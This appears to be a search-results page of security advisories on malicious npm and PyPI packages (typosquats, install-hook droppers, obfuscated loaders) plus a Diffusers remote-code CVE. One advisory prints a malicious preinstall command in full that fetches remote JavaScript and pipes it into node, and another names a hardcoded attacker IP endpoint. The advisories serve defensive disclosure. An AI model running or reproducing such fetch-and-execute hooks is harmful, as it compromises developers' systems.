70 matches found
Malicious code in log-utils-sdk (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6bade205dc4eb5ebd4bf428e3b459d7aeabea49d445d1829ba1ae0c434e6a718 On import of logutilssdk.helper, the LogHelper class body unconditionally invokes historicalenv, which performs...
Malicious code in @angulaar/core (npm)
Source: amazon-inspector 42861c7641349d2f58380e4f81b13ad9738dd254f224e9f7f239d9cf940cf792 The package's package.json defines a postinstall lifecycle script that fetches a JavaScript file from a non-publisher host gitflic.ru, proxied via web.archive.org, at the path...
MAL-2026-17537 Malicious code in @angulaar/core (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 42861c7641349d2f58380e4f81b13ad9738dd254f224e9f7f239d9cf940cf792 The package's package.json defines a postinstall lifecycle script that fetches a JavaScript file from a non-publisher host gitflic.ru, proxied via...
Malicious code in @angulaar/core (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 42861c7641349d2f58380e4f81b13ad9738dd254f224e9f7f239d9cf940cf792 The package's package.json defines a postinstall lifecycle script that fetches a JavaScript file from a non-publisher host gitflic.ru, proxied via...
Malicious code in @angulra/core (npm)
Source: amazon-inspector 7ebb04f93b463536e56e0160e0e1fc2748d69c9eb15f991e990365cee7852a34 The package.json preinstall script runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, fetching JavaScript from an unrelated...
Malicious code in dolyame-ui-swiper (npm)
Source: amazon-inspector 5d7b18729a9aed582b73ddcfb2c332aba97810caa9daea155e62fd4035158a8a On require of the package's main entry, bridge.js unconditionally runs an init routine that selects an OS-specific target path, downloads an opaque native binary from one of several string-split-obfuscated...
Malicious code in checkout-desktop-bnpl (npm)
Source: amazon-inspector dd165a0865ff5e6b4a488e6a81018740deff0071604e6d06fff046d2c8a1b0a1 The package presents itself as a checkout/BNPL library but exports an empty CheckoutDesktopBnpl class with no BNPL functionality. On require of the main module, index.js loads polyfill.js, which selects a...
Malicious code in checkout-checkout-test-block-aff (npm)
Source: amazon-inspector ae29db4ecd6fc6c7250d5b388eb957c9b0d1ec2b8a8966928c3da7c31aa4bf87 On require of the main entry, index.js loads loader.js which downloads a platform-specific executable from hardcoded Cloudflare Workers hosts oob-worker.cf101-adf.workers.dev, oob-worker.cf100-416.workers.de...
Malicious code in tailwindcss-forms-style (npm)
Source: amazon-inspector 8948b9d83b1d0eb952b8364b7a15d32efb78d6bed43956bc67a42e151dcfc7a2 Package typosquats @tailwindcss/forms. On require'tailwindcss-forms-style', src/index.js runs evalatob... on a base64 blob appended after module.exports. The decoded payload queries public Ethereum RPC...
Malicious code in @wizloft/harness (npm)
Source: amazon-inspector 3679ede1e874f59f4be963544c3df43069cd335b2f888753b7411e42c7a5d3dd dist/index.js — the package's main/exports entrypoint — presents 200 lines of TypeScript-compiled SDK facade followed by a single 40KB line of obfuscator.io output 303-entry rotated string array 0x240a with...
Malicious code in lodsh-cli (npm)
Source: amazon-inspector 2803016f5b10510cdb31304197a1670396290e9be96fe647fd6c505d1f487273 lodsh-cli is a typosquat of lodash-cli. Its scripts/postinstall.js runs automatically on npm install and performs two hostile actions. First, it XOR-decodes a hardcoded URL key 'stf2026' stored as an integer...
Malicious code in copytrade-core (npm)
Source: amazon-inspector 00c8773c5727069f87e54d58cd3679252a90ec0fe3de3a1b4adcb9a3bbff68bd index.js exports a getPlugin function that issues an HTTPS request to the hardcoded bare-IP endpoint https://31.97.137.157:45000/icons/108, takes the response's credits field, passes it to new...
Malicious code in devplatform-supafetch (npm)
Source: amazon-inspector 8dc92f63aa9d199fde2a42c1298a9c620b5823b5252d16c9450456e5efbb154d [email protected] is advertised as a fetch helper but on require drops and executes an opaque native binary. index.js unconditionally loads./ext.js, which selects a platform-specific payload path...
Malicious code in vite-plugin-css-blend (npm)
Source: amazon-inspector 7a47fa75fbd028d1aca89ca790036f760c76d8e486175505ef4a8f59f33e7c76 The package is published as a Vite CSS plugin but exposes no Vite plugin API. Its documented applyGlobalStylespalette, accents export, when called on Windows, treats the caller-supplied accents and palette...
Malicious code in @vite-tab/tab (npm)
Source: amazon-inspector 95af865d1cf7d45f2b4c2a73eebcfcd1a1a6aba9a36f33bf8256ef4d7235903c @vite-tab/tab republishes Vite's codebase under a different name while impersonating the upstream project: package.json declares bin: vite: 'bin/vite.js' hijacking the vite command on $PATH, author: 'Evan...
Malicious code in chain-chai-await (npm)
Source: amazon-inspector 53dc585524bcc3e64a107006ba8c763591b071bb174c7acadd716b6e99ac1c34 The package presents itself as a pino-compatible logger exports pino, mirrors pino's lib/ layout with proto.js/redaction.js/transport.js/multistream.js/levels.js/time.js/symbols.js, and copies pino's...
Malicious code in req-parmas-valid (npm)
Source: amazon-inspector 063b7e2667c434784d0b5d2ce333ea700fbc17571da3f5f4fc7d0f03ac406bd0 Package name req-parmas-valid impersonates the well-known request HTTP client description copied verbatim as 'Simplified HTTP request client.', bugs.url points at github.com/request/request/issues, README an...
MSC-2026-6353
Malicious npm typosquats impersonating vite EtherHiding blockchain-C2 loader: the packages @uw010010/vite-tree, @vite-tab/tab, @vite-ln/build-ts, @vite-mcp/vite-type, @vite-pro/vite-ui, @vitets/vite-ts, and @vite-ts/vite-ui impersonate the legitimate 'vite' package copying its author 'Evan You',...
CVE-2026-44513: Improper Control of Generation of Code
Diffusers is the a library for pretrained diffusion models. Prior to 0.38.0, a trustremotecode bypass in DiffusionPipeline.frompretrained allows arbitrary remote code execution despite the user passing trustremotecode=False or omitting it, which is the default. The vulnerability has three variant...
